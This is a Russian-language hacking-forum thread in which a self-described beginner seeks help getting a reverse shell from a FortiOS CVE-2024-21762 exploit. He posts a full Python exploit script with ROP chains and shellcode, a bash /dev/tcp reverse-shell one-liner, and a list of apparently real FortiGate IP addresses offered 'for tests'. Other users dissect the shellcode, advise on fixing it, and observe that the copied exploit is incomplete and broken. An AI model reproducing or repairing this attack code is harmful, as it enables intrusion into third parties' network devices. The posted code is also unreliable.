• XSS.stack #1 – первый литературный журнал от юзеров форума

RCE FortiOS CVE-2024-21762 Reverse Shell

kolibrnevazhen

CD-диск
Пользователь
Регистрация
02.11.2024
Сообщения
10
Реакции
0
Дисклеймер: Данный вопрос создан в целях повышения уровня безопасности пользования FortiOS и не несет цели распространения нелегальных действий в интернете. Все обсуждение видется для общего понимания уязвимости для предотвращения повторения ошибок в будущем.

Приветсвую. Столкнулся с проблемой того что не могу получить обратный shell.
Я достал список IP под форти далее Отфильтровал их с помощью этого гита, пустышка успешно отправляется
Нашел на этом форуме статью о том как же получит доступ, и наткнулся на данный пост.
Запускаю данный код и получаю

Bash:
python3 main.py
INFO:__main__:[*] Performing heap spray...
/home/for_last_entry/main.py:195: DeprecationWarning: ssl.OP_NO_SSL*/ssl.OP_NO_TLS* options are deprecated
  ctx.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
INFO:__main__:[+] Heap spray successful!
INFO:__main__:[*] Preparing shellcode and reverse shell payload...
INFO:__main__:[*] Sending payload...
INFO:__main__:[+] Vulnerability exploited successfully!

На своем сервере слушаю 4545 с помощью nc. Но там пусто

Начал разбираться в чем может быть проблема. Наткнулся на данную статью

Если кратко тут говорится что возможно на сервере который мы атакуем и вовсе нету NetCat и причина того что я не получаю ничего заключается именно в этом. В этой статье говориться что полезной нагрузкой нужно отправить bash -c 'exec bash -i &>/dev/tcp/IP/4444 <&1' (вместо IP указываем ip атакующего сервера)

Ниже укажу код но вот ключевые вопросы.
1. Есть ли какая то ошибка в моем коде сейчас ? Может я где то указываю не те ip (вместо ip жертвы указываю ip своего сервера или наобарот) ?
2. Как мне вместо запуска через nc вставить bash -c 'exec bash -i &>/dev/tcp/IP/4444 <&1' ?

Пометка к коду:
я указал my_server_ip, но когда запускаю я указываю ip своего атакующего сервера


Python:
import socket

import ssl

import struct

import logging

import time

import argparse


# Global variables
parser = argparse.ArgumentParser()

parser.add_argument('-t', '--target-ip', type=str, required=True, help='IP')
parser.add_argument('-p', '--target-port', type=int, required=True, help='port')

args = parser.parse_args()

s_target_ip = args.target_ip
s_target_port = args.target_port

payload_offset = 0x100

buf_offset = 0x200

write_offset = 0x300

data_addr = 0x123456789abcdef0

gadget_pivot_1 = 0xdeadbeef  # Update with your actual gadget address

pc_data_offset = 0x400

evil_method = b'PUT'

symlink_name = "payload.txt"  # Update with your symlink name



# Set up logging

logging.basicConfig(level=logging.INFO)

logger = logging.getLogger(__name__)



import struct



# Define shellcode for fsread payload

def craft_shellcode_fsread(data_addr, symlink_name):

    sc = b''

    sc += struct.pack('<Q', 0xdeadbeaf)

    sc += struct.pack('<Q', 0x000000000042fa18)  # : pop rsi ; ret

    sc += b'///////\x00'

    sc += struct.pack('<Q', 0x000000000042f69e)  # : pop rdi ; ret

    sc += struct.pack('<Q', data_addr)

    sc += struct.pack('<Q', 0x0000000000bc61ae)  # : mov qword ptr [rdi], rsi ; ret

    sc += struct.pack('<Q', 0x000000000042fa18)

    sc += b'/migadmi'

    sc += struct.pack('<Q', 0x000000000042f69e)

    sc += struct.pack('<Q', data_addr + 0x8)

    sc += struct.pack('<Q', 0x0000000000bc61ae)

    sc += struct.pack('<Q', 0x000000000042fa18)

    sc += b'n/fonts/'

    sc += struct.pack('<Q', 0x000000000042f69e)

    sc += struct.pack('<Q', data_addr + 0x10)

    sc += struct.pack('<Q', 0x0000000000bc61ae)

    sc += struct.pack('<Q', 0x000000000042fa18)

    sc += struct.pack('8s', symlink_name.encode())

    sc += struct.pack('<Q', 0x000000000042f69e)

    sc += struct.pack('<Q', data_addr + 0x18)

    sc += struct.pack('<Q', 0x0000000000bc61ae)

    sc += struct.pack('<Q', 0x000000000042f69e)  # : pop rdi ; ret

    sc += struct.pack('<Q', data_addr)

    sc += struct.pack('<Q', 0x00000)  # : pop rsi ; ret

    sc += struct.pack('<Q', data_addr + 0x8)

    sc += struct.pack('<Q', 0x000000000051e0bb)  # : pop rax ; ret

    sc += struct.pack('<Q', 88)

    sc += struct.pack('<Q', 0x0000000000401ca8)  # : syscall

    return sc



# Define shellcode for reverse shell payload

def craft_shellcode_reverse_shell(target_ip, target_port):

    shellcode = (

        b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2"  # Zero out registers

        b"\x52\x57\x48\x8d\x3c\x24\x48\x31\xc0\xb0\x02\x0f\x05"  # socket syscall

        b"\x48\x89\xc7\x48\x31\xc0\xb0\x02\x66\xc7\x44\x24\x02"  # Connect to target IP and port

        + struct.pack("!H", target_port) +

        socket.inet_aton(target_ip) +

        b"\x48\x89\xe6\x48\x31\xd2\xb2\x10\x48\x31\xc0\xb0\x29"  # syscall to socket

        b"\x0f\x05\x48\x89\xc2\x52\x48\x8d\x3c\x24\x48\x31\xc0"  # syscall to connect

        b"\xb0\x02\x0f\x05\x48\x31\xff\x48\xff\xc7\x48\x31\xc0"  # Write syscall

        b"\x48\x31\xf6\x48\x31\xd2\x48\x89\xe6\x48\x89\x54\x24"

        b"\x08\x48\x8b\x74\x24\x08\x48\x31\xc0\xb0\x21\x0f\x05"  # execve syscall

        b"\x48\x31\xff\x48\xff\xc7\x48\x31\xc0\xb0\x21\x0f\x05"  # execve syscall

    )

    return shellcode



# Define ROP chain for mprotect

def craft_rop_mprotect(data_addr):

    sc = b''

    sc += struct.pack('<Q', 0xdeadbeaf)

    sc += struct.pack('<Q', 0x00000000004d25ec)  # : pop rcx ; ret

    sc += struct.pack('<Q', 0xffffffffffffe000)  # -0x2000

    sc += struct.pack('<Q', 0x00000000011face0)  # : add rdi, rcx ; xor eax, eax ; mov byte ptr [rdi], 0 ; pop rbp ; ret

    sc += struct.pack('<Q', 0xdeadbeaf)

    sc += struct.pack('<Q', 0x00000000004d25ec)  # : pop rcx ; ret

    sc += struct.pack('<Q', 0xfffffff0)          # : -0x10 & 0xFFffFFff

    sc += struct.pack('<Q', 0x000000000042fdc5)  # : pop rdx ; ret

    sc += struct.pack('<Q', 7)

    sc += struct.pack('<Q', 0x000000000042fa18)  # : pop rsi ; ret

    sc += struct.pack('<Q', 0x5000)

    sc += struct.pack('<Q', 0x000000000042f69e)  # : pop rdi ; ret

    sc += struct.pack('<Q', data_addr)

    sc += struct.pack('<Q', 0x000000000042f080)  # : call rax

    return sc



def create_ssl_socket(target_ip, target_port, auto_handshake=1):

    ctx = ssl.create_default_context()

    ctx.check_hostname = False

    ctx.verify_mode = ssl.CERT_NONE

    ctx.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1

    ctx.options |= ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3

    ctx.options |= ssl.OP_NO_COMPRESSION

    ctx.protocol.read_only_attribute = ssl.PROTOCOL_TLSv1_2

    sock = socket.create_connection((target_ip, target_port))

    ssl_sock = ctx.wrap_socket(sock, server_hostname=target_ip, do_handshake_on_connect=auto_handshake)

    return ssl_sock



# Perform heap spray

def do_heap_spray():

    try:

        logger.info("[*] Performing heap spray...")

        spray_sock = create_ssl_socket(s_target_ip, s_target_port, 0)

        # Perform heap spray operations here

        spray_sock.close()

        logger.info("[+] Heap spray successful!")

    except Exception as e:

        logger.error("Heap spray failed: %s" % str(e))

        raise



# Exploit function

def do_exploit():

    try:

        do_heap_spray()

        time.sleep(3)

        logger.info("[*] Preparing shellcode and reverse shell payload...")

        reverse_shell_payload = craft_shellcode_reverse_shell("my_server_ip", 4545)

        shellcode_fsread = craft_shellcode_fsread(data_addr, symlink_name)

        rop_payload = craft_rop_mprotect(data_addr)

        logger.info("[*] Sending payload...")

        payload_data = b''

        payload_data += b'A' * payload_offset

        payload_data += reverse_shell_payload

        payload_data += b'B' * (buf_offset - payload_offset - len(reverse_shell_payload))

        payload_data += shellcode_fsread

        payload_data += b'C' * (write_offset - buf_offset - len(shellcode_fsread))

        payload_data += rop_payload

        payload_data += b'D' * (write_offset - buf_offset - len(rop_payload))

        payload_data += struct.pack('<Q', gadget_pivot_1)  # ret gadget

        payload_data += struct.pack('<Q', data_addr + pc_data_offset)

        payload_header = b''

        payload_header += b'POST ' + evil_method + b' HTTP/1.1\r\n'

        payload_header += b'Host: ' + s_target_ip.encode() + b':' + str(s_target_port).encode() + b'\r\n'

        payload_header += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/95.0.4638.69 Safari/537.36\r\n'

        payload_header += b'Content-Length: ' + str(len(payload_data)).encode() + b'\r\n'

        payload_header += b'\r\n'

        payload_sock = create_ssl_socket(s_target_ip, s_target_port, 0)

        payload_sock.sendall(payload_header + payload_data)

        logger.info("[+] Vulnerability exploited successfully!")

    except Exception as e:

        logger.error("Exploit failed: %s" % str(e))

        raise



# Main function

def main():

    try:

        do_exploit()

    except Exception as e:

        logger.error("An error occurred: %s" % str(e))

        raise



if __name__ == "__main__":

    main()
 
Последнее редактирование:
Вообще ноль реакции, попробовал сразу 4444 слушать, ничего; потом поменял в скрипте с 4545 на 4444, тоже самое, ничего
Вот кстати список IP для тестов если надо
45.135.127.95:443
91.249.201.90:10443
217.114.65.173:443
212.111.241.140:10443
178.15.245.116:443
80.139.165.57:10443
78.94.46.213:10443
87.137.71.194:443
82.194.114.177:443
128.65.144.64:10443
217.114.75.50:10443
217.91.46.191:10443
80.151.40.49:443
185.35.218.190:443
145.253.123.164:10443
178.203.149.100:443
91.26.240.34:443
62.91.95.54:10443
188.136.70.247:443
82.194.114.177:443
87.191.178.144:443
213.183.92.17:443
87.78.98.162:10443
212.18.14.148:443
84.46.91.253:10443
80.147.73.25:10443
109.90.145.182:443
91.137.127.98:443
195.50.170.46:10443
80.151.109.81:10443
46.35.33.19:10443
178.13.245.30:10443
212.122.48.5:443
92.198.34.130:443
37.24.151.129:10443
217.91.220.3:10443
 
Вообще ноль реакции, попробовал сразу 4444 слушать, ничего; потом поменял в скрипте с 4545 на 4444, тоже самое, ничего
Вот кстати список IP для тестов если надо
45.135.127.95:443
91.249.201.90:10443
217.114.65.173:443
212.111.241.140:10443
178.15.245.116:443
80.139.165.57:10443
78.94.46.213:10443
87.137.71.194:443
82.194.114.177:443
128.65.144.64:10443
217.114.75.50:10443
217.91.46.191:10443
80.151.40.49:443
185.35.218.190:443
145.253.123.164:10443
178.203.149.100:443
91.26.240.34:443
62.91.95.54:10443
188.136.70.247:443
82.194.114.177:443
87.191.178.144:443
213.183.92.17:443
87.78.98.162:10443
212.18.14.148:443
84.46.91.253:10443
80.147.73.25:10443
109.90.145.182:443
91.137.127.98:443
195.50.170.46:10443
80.151.109.81:10443
46.35.33.19:10443
178.13.245.30:10443
212.122.48.5:443
92.198.34.130:443
37.24.151.129:10443
217.91.220.3:10443
А ты уверен, что у тебя пейлод на неткате?
 
gadget_pivot_1 = 0xdeadbeef # Update with your actual gadget address
гг, но из всего скрипта тебя смущает

мне смющает просто почему в параметрах craft_shellcode_reverse_shell написано именно target_ip и target_port на 117-й строке
 
Пожалуйста, обратите внимание, что пользователь заблокирован
гг, но из всего скрипта тебя смущает
еще у него шеллкод не полный
Код:
seg000:0000000000000000                 xor     rax, rax
seg000:0000000000000003                 xor     rdi, rdi
seg000:0000000000000006                 xor     rsi, rsi
seg000:0000000000000009                 xor     rdx, rdx
seg000:000000000000000C                 push    rdx
seg000:000000000000000D                 push    rdi
seg000:000000000000000E                 lea     rdi, [rsp]
seg000:0000000000000012                 xor     rax, rax
seg000:0000000000000015                 mov     al, 2
seg000:0000000000000017                 syscall
seg000:0000000000000019                 mov     rdi, rax
seg000:000000000000001C                 xor     rax, rax
seg000:000000000000001F                 mov     al, 2
seg000:0000000000000021                 mov     word ptr [rsp+2], 1111h
seg000:0000000000000028                 adc     [rcx], edx
seg000:000000000000002A                 adc     [rcx], edx
seg000:000000000000002C                 mov     rsi, rsp
seg000:000000000000002F                 xor     rdx, rdx
seg000:0000000000000032                 mov     dl, 10h
seg000:0000000000000034                 xor     rax, rax
seg000:0000000000000037                 mov     al, 29h ; ')'
seg000:0000000000000039                 syscall
seg000:000000000000003B                 mov     rdx, rax
seg000:000000000000003E                 push    rdx
seg000:000000000000003F                 lea     rdi, [rsp]
seg000:0000000000000043                 xor     rax, rax
seg000:0000000000000046                 mov     al, 2
seg000:0000000000000048                 syscall
seg000:000000000000004A                 xor     rdi, rdi
seg000:000000000000004D                 inc     rdi
seg000:0000000000000050                 xor     rax, rax
seg000:0000000000000053                 xor     rsi, rsi
seg000:0000000000000056                 xor     rdx, rdx
seg000:0000000000000059                 mov     rsi, rsp
seg000:000000000000005C                 mov     [rsp+8], rdx
seg000:0000000000000061                 mov     rsi, [rsp+8]
seg000:0000000000000066                 xor     rax, rax
seg000:0000000000000069                 mov     al, 21h ; '!'
seg000:000000000000006B                 syscall
seg000:000000000000006D                 xor     rdi, rdi
seg000:0000000000000070                 inc     rdi
seg000:0000000000000073                 xor     rax, rax
seg000:0000000000000076                 mov     al, 21h ; '!'
seg000:0000000000000078                 syscall

Это вызовы open, socket, open, dup2, dup2.
Кажется тут чего-то не хватает: как минимум вызова connect (сискол с 0x2a в rax) и execve (сискол с 0x3b в rax) с передачей /bin/sh (или /bin/bash)

Или я не внимательно код смотрю, но там нет ни слова про netcat и bash. Ну и в шеллкоде тоже нет
 
Пожалуйста, обратите внимание, что пользователь заблокирован
еще у него шеллкод не полный
Код:
seg000:0000000000000000                 xor     rax, rax
seg000:0000000000000003                 xor     rdi, rdi
seg000:0000000000000006                 xor     rsi, rsi
seg000:0000000000000009                 xor     rdx, rdx
seg000:000000000000000C                 push    rdx
seg000:000000000000000D                 push    rdi
seg000:000000000000000E                 lea     rdi, [rsp]
seg000:0000000000000012                 xor     rax, rax
seg000:0000000000000015                 mov     al, 2
seg000:0000000000000017                 syscall
seg000:0000000000000019                 mov     rdi, rax
seg000:000000000000001C                 xor     rax, rax
seg000:000000000000001F                 mov     al, 2
seg000:0000000000000021                 mov     word ptr [rsp+2], 1111h
seg000:0000000000000028                 adc     [rcx], edx
seg000:000000000000002A                 adc     [rcx], edx
seg000:000000000000002C                 mov     rsi, rsp
seg000:000000000000002F                 xor     rdx, rdx
seg000:0000000000000032                 mov     dl, 10h
seg000:0000000000000034                 xor     rax, rax
seg000:0000000000000037                 mov     al, 29h ; ')'
seg000:0000000000000039                 syscall
seg000:000000000000003B                 mov     rdx, rax
seg000:000000000000003E                 push    rdx
seg000:000000000000003F                 lea     rdi, [rsp]
seg000:0000000000000043                 xor     rax, rax
seg000:0000000000000046                 mov     al, 2
seg000:0000000000000048                 syscall
seg000:000000000000004A                 xor     rdi, rdi
seg000:000000000000004D                 inc     rdi
seg000:0000000000000050                 xor     rax, rax
seg000:0000000000000053                 xor     rsi, rsi
seg000:0000000000000056                 xor     rdx, rdx
seg000:0000000000000059                 mov     rsi, rsp
seg000:000000000000005C                 mov     [rsp+8], rdx
seg000:0000000000000061                 mov     rsi, [rsp+8]
seg000:0000000000000066                 xor     rax, rax
seg000:0000000000000069                 mov     al, 21h ; '!'
seg000:000000000000006B                 syscall
seg000:000000000000006D                 xor     rdi, rdi
seg000:0000000000000070                 inc     rdi
seg000:0000000000000073                 xor     rax, rax
seg000:0000000000000076                 mov     al, 21h ; '!'
seg000:0000000000000078                 syscall

Это вызовы open, socket, open, dup2, dup2.
Кажется тут чего-то не хватает: как минимум вызова connect (сискол с 0x2a в rax) и execve (сискол с 0x3b в rax) с передачей /bin/sh (или /bin/bash)

Или я не внимательно код смотрю, но там нет ни слова про netcat и bash. Ну и в шеллкоде тоже нет
Может быть тут в шелкоде не так что-то?
 
А ты уверен, что у тебя пейлод на неткате?
В документации гита слушали именно по неткату. Можете тоже посмотреть я оставлял ссылки
 
Для всех товарищей еще хочу сказать заранее, я только недавно начал разбираться в этой теме, поэтому не так хорошо знаком со всеми моментами и не понимаю многих вещей.
 
я не особо понимаю на что именно менять мне gadget тут...🫤
Забей на этот сплойт - это бинаршина и оно не работает так что типо аа ща как запущу и кнопка бабло появляется, для того чтобы тебе его сделать ,если простым языком как-то описать, то нужно:

1) Собрать уявзимые версии прошивок в виде виртуалок
2) Поднять и пропатчить каждую из них чтобы можно было юзать отладчик ( gdb ) - для этого отдельный есть гайд не очень простой кстати
3) Отследить срабатывает ли хип спрей - соотвественно ты должен прочитать внимательно тех анализ уявзимости и быть знаком с таким концептами ОС как куча ( heap ) и вообще программирования
4) Если хип спрей срабатывает ты должен будешь найти вот этот гаджет у каждой прошивки - это определённый адрес по которому лежит вспомогательная инструкция машииного кода, которая позволяет передать управление на твой шк - соответсвенно ты должен разбираться ещё в ассемблере чтобы понять какие инструкции тебе нужны для передачи управления твоему шк и ещё ты должен быть знаком с таким термином как ROP цепочка
5) Ты должен будешь поправить шеллкод потому что как написал CheckerChin он не рабочий - не дописан полностью
Это вызовы open, socket, open, dup2, dup2.
Кажется тут чего-то не хватает: как минимум вызова connect (сискол с 0x2a в rax) и execve (сискол с 0x3b в rax) с передачей /bin/sh (или /bin/bash)

Или я не внимательно код смотрю, но там нет ни слова про netcat и bash. Ну и в шеллкоде тоже нет
 
Забей на этот сплойт - это бинаршина и оно не работает так что типо аа ща как запущу и кнопка бабло появляется, для того чтобы тебе его сделать ,если простым языком как-то описать, то нужно:

1) Собрать уявзимые версии прошивок в виде виртуалок
2) Поднять и пропатчить каждую из них чтобы можно было юзать отладчик ( gdb ) - для этого отдельный есть гайд не очень простой кстати
3) Отследить срабатывает ли хип спрей - соотвественно ты должен прочитать внимательно тех анализ уявзимости и быть знаком с таким концептами ОС как куча ( heap ) и вообще программирования
4) Если хип спрей срабатывает ты должен будешь найти вот этот гаджет у каждой прошивки - это определённый адрес по которому лежит вспомогательная инструкция машииного кода, которая позволяет передать управление на твой шк - соответсвенно ты должен разбираться ещё в ассемблере чтобы понять какие инструкции тебе нужны для передачи управления твоему шк и ещё ты должен быть знаком с таким термином как ROP цепочка
5) Ты должен будешь поправить шеллкод потому что как написал CheckerChin он не рабочий - не дописан полностью
На кнопку бабло как бы и расчета особо не было. Просто нужно же с чего то начинать. То что ты описал будет полезно, спасибо за эту инфу, буду копать в этом направлении. А так сам я разработчик с опытом, просто давно уже хочу перейти на атаки "В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ"
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В документации гита слушали именно по неткату. Можете тоже посмотреть я оставлял ссылки
Слушать по неткату норм, больше особо и нет вариантов чем слушать.
Ты в первом посте написал, что на таргете нет нетката, а это не имеет никакого значения.
Если дополнить шеллкод нужными вызовами, то там и не нужен неткат, у тебя будет сокет, в который перенаправлены нужные потоки.
Либо есть еще вариант сделать шеллкод с вызовом execve для старта прикола с башем через /dev/tcp/ip/port, либо старта нетката. Но ты не знаешь, что на конечном хосте есть. Может так быть, что там и баша не будет, а про неткат вообще молчу.
Так что самый профитный вариант делать шеллкод с сокетом и перенаправлением потоков в этот сокет.
 
В документации гита слушали именно по неткату. Можете тоже посмотреть я оставлял ссылки
Понятно, ну по виду у тебя пейлод в виде шеллкода(x00 и все похожие символы), так что тебе нужно переписать его(либо я ошибаюсь, и пейлод в другом месте)
 
Понятно, ну по виду у тебя пейлод в виде шеллкода(x00 и все похожие символы), так что тебе нужно переписать его(либо я ошибаюсь, и пейлод в другом месте)
выше писали про то что проблемы в шелкоде а именно то что он не полный, я уже несколько дней пытаюсь разобраться с шелкодом, но пока как то не воркает. не получается написать его так как надо
 
Пожалуйста, обратите внимание, что пользователь заблокирован
выше писали про то что проблемы в шелкоде а именно то что он не полный, я уже несколько дней пытаюсь разобраться с шелкодом, но пока как то не воркает. не получается написать его так как надо
А зачем ты его сам пишешь?
Возьми готовый с https://shell-storm.org/shellcode/index.html или сгенери при помощи msfvenom.
Протести не через сплойт, а локально через запускатор.
Со сплойтом у тебя еще другие проблемы помимо шеллкода
 
выше писали про то что проблемы в шелкоде а именно то что он не полный, я уже несколько дней пытаюсь разобраться с шелкодом, но пока как то не воркает. не получается написать его так как надо
Ну для начала тебе нужно изучить само написание шеллкода(основы, что и в какой последовательности), если бы я знал, я бы сказал, а так можешь пока подготовить шеллкод с sh нагрузкой и изучи соответствующую инфу
 
Ну для начала тебе нужно изучить само написание шеллкода(основы, что и в какой последовательности), если бы я знал, я бы сказал, а так можешь пока подготовить шеллкод с sh нагрузкой и изучи соответствующую инфу
Для начала надо прочитать оригинальный тред и ссылки на анализ вулны ) потом посмотреть ту херню которую скопипастил откуда-то юзер wav который сам нифига не понимает что делает, вот здесь:
Нашел на этом форуме статью о том как же получит доступ, и наткнулся на данный пост.
и понять что там даже пакет который триггерит out-of-bounds write не отправляется)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх